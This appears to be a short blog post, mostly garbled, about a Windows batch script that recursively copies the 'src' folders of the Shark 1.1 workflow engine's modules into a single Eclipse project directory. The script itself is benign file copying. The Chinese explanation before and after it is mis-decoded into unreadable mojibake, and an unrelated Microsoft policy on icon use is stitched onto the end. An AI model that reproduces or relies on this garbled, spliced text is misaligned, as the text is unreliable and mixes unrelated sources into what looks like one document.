shark鐨勬ā鍧楁湁浜屽崄鍏釜錛屾簮鏂囦歡鍒嗘暎鍦ㄥ悇涓枃浠跺す(濡備笅)銆傜敤eclipse闃呰鐨勮瘽瑕佷竴涓釜鎶妔rc鏂囦歡鐨勫唴瀹瑰鍏ュ埌欏圭洰涓傚湪瀹舵憜寮勭殑鏃跺欐葷畻鎯沖埌涓柟娉曟潵鑷姩copy榪欎簺鏂囦歡銆?浜哄鍒嗙被鍒嗗緱濂藉ソ鐨勶紝鎴戞妸浠栦滑鍚堝茍鍦ㄤ竴璧鳳紝榪欐槸鎼炵牬鍧忓搱)
聽
鏂囦歡鐩綍褰㈠紡:
shark-1.1
聽聽聽 modules
聽聽聽聽聽聽聽 SharkAPI
聽聽聽聽聽聽聽聽聽聽聽 src
聽聽聽聽聽聽聽 SharkApplicationMapPersistence
聽聽聽聽聽聽聽聽聽聽聽 DODS
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 src
聽聽聽聽聽聽聽聽聽聽聽 Hibernate
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 src
聽聽聽 ...
聽
cpysrc.dat
聽
@echo off
if "X%1"=="X" goto initialize
goto becalled
:initialize
if exist subdirs.txt del subdirs.txt>nul
dir /d /b /a:d> subdirs.txt
for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i
del subdirs.txt>nul
goto end
:becalled
if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s && goto end
cd %1
call E:\Resource\shark-1.1\modules\cpysrc.bat
cd ..
:end
聽
鍦╟pysrc.bat淇濆瓨鍒癊:\Resource\shark-1.1\modules\涓嬪茍鎵ц灝卞彲浠ャ俢pysrc.bat灝嗛亶鍘嗗綋鍓嶇洰褰曚笅鐨勬墍鏈夌洰褰曪紝騫禼opy鍚嶄負src鏂囦歡澶逛笅鐨勬墍鏈夊唴瀹瑰埌E:\JavaApp\Shark\src\銆?/p>
Icons
Microsoft does not generally allow the use of our icons in advertising, in books and other printed matter, on clothing or other promotional items, on-line and internet locations, in software applications, in television programs, commercials, movies, or on video tape, as they are NOT to be used as "artwork" or design elements.
EXCEPTIONS: Use of our icons is permissible in relation to a training manual or documentation written for and/or about a Microsoft product. In such cases, use of Microsoft icons must be specific to the function of the icon within the Microsoft software, and not used as a graphical element or design for your own purposes. Further, icons cannot be modified or altered and must appear as they would within the Microsoft software.